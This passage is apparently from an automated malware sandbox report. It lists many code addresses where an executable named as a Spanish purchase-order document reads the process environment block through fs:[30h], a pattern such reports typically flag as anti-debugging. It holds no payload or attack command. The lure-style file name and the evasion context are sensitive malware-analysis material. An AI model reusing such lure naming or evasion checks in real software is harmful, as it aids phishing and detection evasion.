                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EE75D mov eax, dword ptr fs:[00000030h]6_2_016EE75D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660750 mov eax, dword ptr fs:[00000030h]6_2_01660750
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2750 mov eax, dword ptr fs:[00000030h]6_2_016A2750
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2750 mov eax, dword ptr fs:[00000030h]6_2_016A2750
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E4755 mov eax, dword ptr fs:[00000030h]6_2_016E4755
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C720 mov eax, dword ptr fs:[00000030h]6_2_0169C720
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C720 mov eax, dword ptr fs:[00000030h]6_2_0169C720
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169273C mov eax, dword ptr fs:[00000030h]6_2_0169273C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169273C mov ecx, dword ptr fs:[00000030h]6_2_0169273C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169273C mov eax, dword ptr fs:[00000030h]6_2_0169273C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DC730 mov eax, dword ptr fs:[00000030h]6_2_016DC730
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C700 mov eax, dword ptr fs:[00000030h]6_2_0169C700
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660710 mov eax, dword ptr fs:[00000030h]6_2_01660710
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01690710 mov eax, dword ptr fs:[00000030h]6_2_01690710
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016827ED mov eax, dword ptr fs:[00000030h]6_2_016827ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016827ED mov eax, dword ptr fs:[00000030h]6_2_016827ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016827ED mov eax, dword ptr fs:[00000030h]6_2_016827ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EE7E1 mov eax, dword ptr fs:[00000030h]6_2_016EE7E1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016647FB mov eax, dword ptr fs:[00000030h]6_2_016647FB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016647FB mov eax, dword ptr fs:[00000030h]6_2_016647FB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166C7C0 mov eax, dword ptr fs:[00000030h]6_2_0166C7C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E07C3 mov eax, dword ptr fs:[00000030h]6_2_016E07C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016607AF mov eax, dword ptr fs:[00000030h]6_2_016607AF
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017147A0 mov eax, dword ptr fs:[00000030h]6_2_017147A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170678E mov eax, dword ptr fs:[00000030h]6_2_0170678E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A660 mov eax, dword ptr fs:[00000030h]6_2_0169A660
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A660 mov eax, dword ptr fs:[00000030h]6_2_0169A660
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172866E mov eax, dword ptr fs:[00000030h]6_2_0172866E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172866E mov eax, dword ptr fs:[00000030h]6_2_0172866E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01692674 mov eax, dword ptr fs:[00000030h]6_2_01692674
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167C640 mov eax, dword ptr fs:[00000030h]6_2_0167C640
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E627 mov eax, dword ptr fs:[00000030h]6_2_0167E627
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01696620 mov eax, dword ptr fs:[00000030h]6_2_01696620
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01698620 mov eax, dword ptr fs:[00000030h]6_2_01698620
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166262C mov eax, dword ptr fs:[00000030h]6_2_0166262C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE609 mov eax, dword ptr fs:[00000030h]6_2_016DE609
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167260B mov eax, dword ptr fs:[00000030h]6_2_0167260B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2619 mov eax, dword ptr fs:[00000030h]6_2_016A2619
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE6F2 mov eax, dword ptr fs:[00000030h]6_2_016DE6F2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE6F2 mov eax, dword ptr fs:[00000030h]6_2_016DE6F2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE6F2 mov eax, dword ptr fs:[00000030h]6_2_016DE6F2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE6F2 mov eax, dword ptr fs:[00000030h]6_2_016DE6F2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E06F1 mov eax, dword ptr fs:[00000030h]6_2_016E06F1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E06F1 mov eax, dword ptr fs:[00000030h]6_2_016E06F1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A6C7 mov ebx, dword ptr fs:[00000030h]6_2_0169A6C7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A6C7 mov eax, dword ptr fs:[00000030h]6_2_0169A6C7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C6A6 mov eax, dword ptr fs:[00000030h]6_2_0169C6A6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016966B0 mov eax, dword ptr fs:[00000030h]6_2_016966B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664690 mov eax, dword ptr fs:[00000030h]6_2_01664690
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664690 mov eax, dword ptr fs:[00000030h]6_2_01664690
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A096E mov eax, dword ptr fs:[00000030h]6_2_016A096E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A096E mov edx, dword ptr fs:[00000030h]6_2_016A096E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A096E mov eax, dword ptr fs:[00000030h]6_2_016A096E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01704978 mov eax, dword ptr fs:[00000030h]6_2_01704978
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01704978 mov eax, dword ptr fs:[00000030h]6_2_01704978
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01686962 mov eax, dword ptr fs:[00000030h]6_2_01686962
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01686962 mov eax, dword ptr fs:[00000030h]6_2_01686962
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01686962 mov eax, dword ptr fs:[00000030h]6_2_01686962
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EC97C mov eax, dword ptr fs:[00000030h]6_2_016EC97C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E0946 mov eax, dword ptr fs:[00000030h]6_2_016E0946
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E892A mov eax, dword ptr fs:[00000030h]6_2_016E892A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F892B mov eax, dword ptr fs:[00000030h]6_2_016F892B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE908 mov eax, dword ptr fs:[00000030h]6_2_016DE908
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE908 mov eax, dword ptr fs:[00000030h]6_2_016DE908
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EC912 mov eax, dword ptr fs:[00000030h]6_2_016EC912
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01658918 mov eax, dword ptr fs:[00000030h]6_2_01658918
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01658918 mov eax, dword ptr fs:[00000030h]6_2_01658918
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EE9E0 mov eax, dword ptr fs:[00000030h]6_2_016EE9E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016929F9 mov eax, dword ptr fs:[00000030h]6_2_016929F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016929F9 mov eax, dword ptr fs:[00000030h]6_2_016929F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172A9D3 mov eax, dword ptr fs:[00000030h]6_2_0172A9D3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F69C0 mov eax, dword ptr fs:[00000030h]6_2_016F69C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A9D0 mov eax, dword ptr fs:[00000030h]6_2_0166A9D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016949D0 mov eax, dword ptr fs:[00000030h]6_2_016949D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A0 mov eax, dword ptr fs:[00000030h]6_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016609AD mov eax, dword ptr fs:[00000030h]6_2_016609AD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016609AD mov eax, dword ptr fs:[00000030h]6_2_016609AD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E89B3 mov esi, dword ptr fs:[00000030h]6_2_016E89B3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E89B3 mov eax, dword ptr fs:[00000030h]6_2_016E89B3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E89B3 mov eax, dword ptr fs:[00000030h]6_2_016E89B3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EE872 mov eax, dword ptr fs:[00000030h]6_2_016EE872
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EE872 mov eax, dword ptr fs:[00000030h]6_2_016EE872
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6870 mov eax, dword ptr fs:[00000030h]6_2_016F6870
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6870 mov eax, dword ptr fs:[00000030h]6_2_016F6870
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01672840 mov ecx, dword ptr fs:[00000030h]6_2_01672840
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01690854 mov eax, dword ptr fs:[00000030h]6_2_01690854
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664859 mov eax, dword ptr fs:[00000030h]6_2_01664859
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664859 mov eax, dword ptr fs:[00000030h]6_2_01664859
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170483A mov eax, dword ptr fs:[00000030h]6_2_0170483A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170483A mov eax, dword ptr fs:[00000030h]6_2_0170483A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A830 mov eax, dword ptr fs:[00000030h]6_2_0169A830
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov eax, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov eax, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov eax, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov ecx, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov eax, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682835 mov eax, dword ptr fs:[00000030h]6_2_01682835
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EC810 mov eax, dword ptr fs:[00000030h]6_2_016EC810
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C8F9 mov eax, dword ptr fs:[00000030h]6_2_0169C8F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C8F9 mov eax, dword ptr fs:[00000030h]6_2_0169C8F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172A8E4 mov eax, dword ptr fs:[00000030h]6_2_0172A8E4
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E8C0 mov eax, dword ptr fs:[00000030h]6_2_0168E8C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660887 mov eax, dword ptr fs:[00000030h]6_2_01660887
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EC89D mov eax, dword ptr fs:[00000030h]6_2_016EC89D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165CB7E mov eax, dword ptr fs:[00000030h]6_2_0165CB7E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170EB50 mov eax, dword ptr fs:[00000030h]6_2_0170EB50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6B40 mov eax, dword ptr fs:[00000030h]6_2_016F6B40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6B40 mov eax, dword ptr fs:[00000030h]6_2_016F6B40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172AB40 mov eax, dword ptr fs:[00000030h]6_2_0172AB40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01708B42 mov eax, dword ptr fs:[00000030h]6_2_01708B42
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01714B4B mov eax, dword ptr fs:[00000030h]6_2_01714B4B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01714B4B mov eax, dword ptr fs:[00000030h]6_2_01714B4B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168EB20 mov eax, dword ptr fs:[00000030h]6_2_0168EB20
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168EB20 mov eax, dword ptr fs:[00000030h]6_2_0168EB20
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01728B28 mov eax, dword ptr fs:[00000030h]6_2_01728B28
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01728B28 mov eax, dword ptr fs:[00000030h]6_2_01728B28
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DEB1D mov eax, dword ptr fs:[00000030h]6_2_016DEB1D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168EBFC mov eax, dword ptr fs:[00000030h]6_2_0168EBFC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668BF0 mov eax, dword ptr fs:[00000030h]6_2_01668BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668BF0 mov eax, dword ptr fs:[00000030h]6_2_01668BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668BF0 mov eax, dword ptr fs:[00000030h]6_2_01668BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016ECBF0 mov eax, dword ptr fs:[00000030h]6_2_016ECBF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170EBD0 mov eax, dword ptr fs:[00000030h]6_2_0170EBD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01680BCB mov eax, dword ptr fs:[00000030h]6_2_01680BCB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01680BCB mov eax, dword ptr fs:[00000030h]6_2_01680BCB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01680BCB mov eax, dword ptr fs:[00000030h]6_2_01680BCB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660BCD mov eax, dword ptr fs:[00000030h]6_2_01660BCD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660BCD mov eax, dword ptr fs:[00000030h]6_2_01660BCD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660BCD mov eax, dword ptr fs:[00000030h]6_2_01660BCD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01714BB0 mov eax, dword ptr fs:[00000030h]6_2_01714BB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01714BB0 mov eax, dword ptr fs:[00000030h]6_2_01714BB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670BBE mov eax, dword ptr fs:[00000030h]6_2_01670BBE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670BBE mov eax, dword ptr fs:[00000030h]6_2_01670BBE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169CA6F mov eax, dword ptr fs:[00000030h]6_2_0169CA6F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169CA6F mov eax, dword ptr fs:[00000030h]6_2_0169CA6F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169CA6F mov eax, dword ptr fs:[00000030h]6_2_0169CA6F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170EA60 mov eax, dword ptr fs:[00000030h]6_2_0170EA60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DCA72 mov eax, dword ptr fs:[00000030h]6_2_016DCA72
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DCA72 mov eax, dword ptr fs:[00000030h]6_2_016DCA72
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666A50 mov eax, dword ptr fs:[00000030h]6_2_01666A50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670A5B mov eax, dword ptr fs:[00000030h]6_2_01670A5B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670A5B mov eax, dword ptr fs:[00000030h]6_2_01670A5B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168EA2E mov eax, dword ptr fs:[00000030h]6_2_0168EA2E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169CA24 mov eax, dword ptr fs:[00000030h]6_2_0169CA24
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169CA38 mov eax, dword ptr fs:[00000030h]6_2_0169CA38
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01684A35 mov eax, dword ptr fs:[00000030h]6_2_01684A35
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01684A35 mov eax, dword ptr fs:[00000030h]6_2_01684A35
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016ECA11 mov eax, dword ptr fs:[00000030h]6_2_016ECA11
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169AAEE mov eax, dword ptr fs:[00000030h]6_2_0169AAEE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169AAEE mov eax, dword ptr fs:[00000030h]6_2_0169AAEE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B6ACC mov eax, dword ptr fs:[00000030h]6_2_016B6ACC
